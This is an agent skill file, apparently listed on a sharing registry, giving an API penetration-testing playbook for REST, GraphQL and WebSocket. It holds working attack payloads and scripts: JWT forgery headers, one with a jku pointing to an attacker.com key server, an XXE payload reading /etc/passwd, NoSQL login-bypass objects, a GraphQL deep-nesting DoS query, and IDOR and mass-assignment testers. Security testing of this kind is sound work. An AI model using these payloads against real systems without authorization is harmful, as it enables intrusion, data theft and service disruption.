agentleFS
Wang200935Wang200935/security-agent-skills/skills/web-pentest/api-security-testing/SKILL.md

api-security-testing

Skill4 starsChanged 3 months agoMITView on GitHub

API security testing — REST, GraphQL, WebSocket, gRPC API penetration

  • Reads credentials

9 other projects use a version of this.

Adopted by

Most recently taken up by

The file

Files
SKILL.md

API Security Testing

Comprehensive API pentesting for REST, GraphQL, WebSocket, and gRPC APIs.

API Recon

Discover API Endpoints

# From JavaScript files
curl -s https://target.com/main.js | grep -oP '(?:api|graphql|rest|v[12])/[^"'\''\\s,);]+'

# From HTML/JS sources
curl -s https://target.com | grep -oP 'https?://[^"'\''\\s]+api[^"'\''\\s]+'

# Common API paths
COMMON_API_PATHS = [
    '/api/', '/api/v1/', '/api/v2/', '/graphql',
    '/rest/', '/rest/v1/', '/swagger/', '/openapi.json',
    '/swagger.json', '/api-docs/', '/.well-known/',
    '/actuator/',  # Spring Boot
    '/_ah/api/',   # Google Cloud Endpoints
]

Swagger/OpenAPI Discovery

# Common Swagger paths
for path in swagger.json swagger.yaml openapi.json api-docs docs/api swagger-ui.html; do
    code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com/$path")
    echo "$code $path"
done

# Parse OpenAPI spec for all endpoints
curl -s https://target.com/openapi.json | python3 -c "
import sys, json
spec = json.load(sys.stdin)
for path, methods in spec.get('paths', {}).items():
    for method in methods:
        print(f'{method.upper()} {path}')
"

REST API Testing

Authentication Testing

# JWT attacks (complete)
JWT_ATTACKS = {
    'alg_none': {
        'desc': "Change algorithm to 'none' and remove signature",
        'payload': '{"alg":"none","typ":"JWT"}',
        'forge': lambda header, payload: f'{header}.{payload}.',
    },
    'alg_confusion': {
        'desc': 'If server uses RSA pub key, try HMAC with pub key as secret',
    },
    'kid_injection': {
        'desc': 'Inject path traversal in kid (Key ID) header',
        'payload': '{"alg":"HS256","typ":"JWT","kid":"../../../../../dev/null"}',
    },
    'jwk_injection': {
        'desc': 'Embed attacker\'s public key in jwk header',
        'payload': '{"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","n":"...","e":"AQAB"}}',
    },
    'jku_header': {
        'desc': 'Point jku (JWK Set URL) to attacker-controlled server',
        'payload': '{"alg":"RS256","jku":"https://attacker.com/jwks.json"}',
    },
}

# API key/Token testing
API_KEY_TESTS = [
    # Test without auth
    ('no_auth', lambda: requests.get(url)),
    # Test with empty token
    ('empty_token', lambda: requests.get(url, headers={'Authorization': ''})),
    # Test with invalid token
    ('invalid_token', lambda: requests.get(url, headers={'Authorization': 'Bearer invalid'})),
    # Test different auth header formats
    ('alt_format', lambda: requests.get(url, headers={'Authorization': 'Token xxx'})),
    ('alt_format2', lambda: requests.get(url, headers={'X-API-Key': 'xxx'})),
]

Authorization Testing (BOLA / IDOR)

def test_bola(endpoints: list, user_a_token: str, user_b_token: str = None):
    """Test Broken Object Level Authorization — can user A access user B's data?"""
    findings = []
    
    for endpoint in endpoints:
        # Get user A's data with user A's token
        r_a = requests.get(endpoint['url'], headers={'Authorization': f'Bearer {user_a_token}'})
        
        # Try to access user B's data with user A's token
        # Replace resource IDs with other users' IDs
        for other_id in endpoint.get('other_ids', []):
            url = endpoint['url'].replace(endpoint['own_id'], str(other_id))
            r = requests.get(url, headers={'Authorization': f'Bearer {user_a_token}'})
            
            if r.status_code == 200 and len(r.content) > 10:
                findings.append({
                    'endpoint': url,
                    'type': 'BOLA',
                    'severity': 'high',
                    'evidence': f'Able to access other user data (ID: {other_id})',
                })
    
    return findings

# Mass assignment testing
def test_mass_assignment(url: str, token: str, sensitive_fields: list):
    """Test if protected fields can be set via API."""
    extra_fields = {}
    for field in sensitive_fields:
        extra_fields[field] = True if 'admin' in field or 'role' in field else 'test'
    
    # Try PATCH/PUT with extra fields
    for method in ['PATCH', 'PUT']:
        r = requests.request(
            method, url,
            headers={'Authorization': f'Bearer {token}', 'Content-Type': 'application/json'},
            json={'name': 'test', **extra_fields}
        )
        
        # Check if fields were accepted
        r2 = requests.get(url, headers={'Authorization': f'Bearer {token}'})
        for field in sensitive_fields:
            if str(extra_fields[field]).lower() in r2.text.lower():
                yield {'method': method, 'field': field, 'severity': 'critical'}

Rate Limiting Test

import time
import statistics

def test_rate_limiting(url: str, method: str = 'GET', requests_per_second: int = 100, 
                       duration: int = 5):
    """Test API rate limiting."""
    
    latencies = []
    status_codes = []
    
    start = time.time()
    count = 0
    
    while time.time() - start < duration:
        try:
            req_start = time.time()
            r = requests.request(method, url, timeout=5)
            latencies.append(time.time() - req_start)
            status_codes.append(r.status_code)
            count += 1
            
            if r.status_code == 429:
                # Rate limited — record and continue
                pass
                
        except:
            latencies.append(999)
            status_codes.append(0)
    
    rate_limited = 429 in status_codes
    rate_limited_pct = status_codes.count(429) / len(status_codes) * 100 if status_codes else 0
    
    return {
        'requests_sent': count,
        'duration': duration,
        'rate_limited': rate_limited,
        'rate_limited_pct': rate_limited_pct,
        'avg_latency': statistics.mean(latencies) if latencies else 0,
        'status_distribution': {s: status_codes.count(s) for s in set(status_codes)},
    }

Injection in APIs

# SQL injection in JSON/query params
API_INJECTION_PAYLOADS = {
    'json_sqli': {"$or": [{"username": {"$ne": ""}}, {"password": {"$ne": ""}}]},  # MongoDB injection
    'json_nosql': {"username": {"$gt": ""}, "password": {"$gt": ""}},
    'json_regex': {"username": {"$regex": "admin.*"}, "password": {"$ne": ""}},
    'graphql_introspection': '{"query":"{__schema{types{name,fields{name}}}}"}',
    'graphql_sqli': '{"query":"{user(id: \"1\' OR 1=1--\"){username,email}}"}',
    'xxe': '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><data>&xxe;</data>',
}

# GraphQL injection
GRAPHQL_ATTACKS = {
    'introspection': 'Query __schema to discover all types and fields',
    'field_suggestion': 'Query non-existent fields to trigger error-based disclosure',
    'depth_attack': 'Deeply nested query to cause DoS (Aliases-based batching)',
    'batching': 'Send multiple operations in one request to bypass rate limits',
    'id_enumeration': 'Enumerate IDs via sequential queries (similar to IDOR)',
}

GraphQL Testing

def test_graphql(url: str, token: str = None):
    """GraphQL security testing."""
    findings = []
    headers = {'Authorization': f'Bearer {token}'} if token else {}
    
    # 1. Introspection (should be disabled in production)
    introspect_query = '{"query":"{__schema{types{name,fields{name,type{name,kind},args{name,type{name}}}}}}"}'
    r = requests.post(url, headers=headers, json={'query': introspect_query})
    if '__schema' in r.text and len(r.text) > 500:
        findings.append({
            'type': 'graphql_introspection_enabled',
            'severity': 'medium',
            'desc': 'Introspection enables full API schema discovery',
        })
    
    # 2. Field suggestion (error-based disclosure)
    r = requests.post(url, headers=headers, 
                      json={'query': '{__typenam{name}}'})  # intentionally broken
    if 'Did you mean' in r.text:
        findings.append({
            'type': 'graphql_field_suggestion',
            'severity': 'low',
            'desc': 'Error messages suggest field names',
        })
    
    # 3. Depth attack (DoS)
    deep_query = 'query { ' + 'user { ' * 50 + 'name ' + '} ' * 50 + '}'
    r = requests.post(url, headers=headers, json={'query': deep_query})
    if r.status_code == 200:
        findings.append({
            'type': 'graphql_depth_attack',
            'severity': 'medium',
            'desc': 'Deeply nested queries not limited — potential DoS',
        })
    
    # 4. Alias-based batching (rate limit bypass)
    alias_query = 'query { a1: user(id:1){name} a2: user(id:2){name} a3: user(id:3){name} }'
    r = requests.post(url, headers=headers, json={'query': alias_query})
    
    return findings

WebSocket Testing

def test_websocket(ws_url: str):
    """WebSocket security testing."""
    findings = []
    
    # 1. Origin header bypass
    import websocket
    
    # Try cross-origin connection
    ws = websocket.WebSocket()
    try:
        ws.connect(ws_url, origin='https://evil.com')
        findings.append({
            'type': 'websocket_no_origin_check',
            'severity': 'medium',
            'desc': 'WebSocket accepts cross-origin connections',
        })
    except:
        pass
    
    # 2. Authentication bypass
    ws = websocket.WebSocket()
    try:
        ws.connect(ws_url)  # connect without auth token
        ws.send('{"type":"subscribe","channel":"admin_notifications"}')
        response = ws.recv()
        if response:
            findings.append({
                'type': 'websocket_auth_bypass',
                'severity': 'critical',
                'desc': 'WebSocket accepts unauthorized connections',
            })
    except:
        pass
    
    return findings

See Also

  • references/api-fuzzing.md — Api Fuzzing
  • references/api-security-checklist.md — Api Security Checklist
  • references/owasp-api-security-top-102025-changes.md — Owasp Api Security Top 102025 Changes
  • references/2025-2026-api-security-testing-updates.md — 2025 2026 Api Security Testing Updates
  • references/pitfalls.md — Pitfalls
  • references/graphql-2025-persisted-queries-oneof-depthcomplexity-analysis.md — Graphql 2025 Persisted Queries Oneof Depthcomplexity Analysis
  • references/websocket-authentication--authorization-attacks-2025.md — Websocket Authentication Authorization Attacks 2025
  • references/server-sent-events-sse-security-2025.md — Server Sent Events Sse Security 2025
  • references/api-gateway-bypass-kong--mule-2025.md — Api Gateway Bypass Kong Mule 2025
  • references/bolabfla-in-microservices-2025-patterns.md — Bolabfla In Microservices 2025 Patterns
  • references/new-jwt-attack-vectors-2025-jwe-token-binding.md — New Jwt Attack Vectors 2025 Jwe Token Binding
  • references/api-rate-limiting-bypass-2025-techniques.md — Api Rate Limiting Bypass 2025 Techniques
  • references/mcp-as-api-testing-model-context-protocol-2025.md — Mcp As Api Testing Model Context Protocol 2025
  • references/updated-api-security-checklist-2025.md — Updated Api Security Checklist 2025
  • references/2025-cve-references-for-api-security.md — 2025 Cve References For Api Security
  • references/testing-tools--references-2025.md — Testing Tools References 2025

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.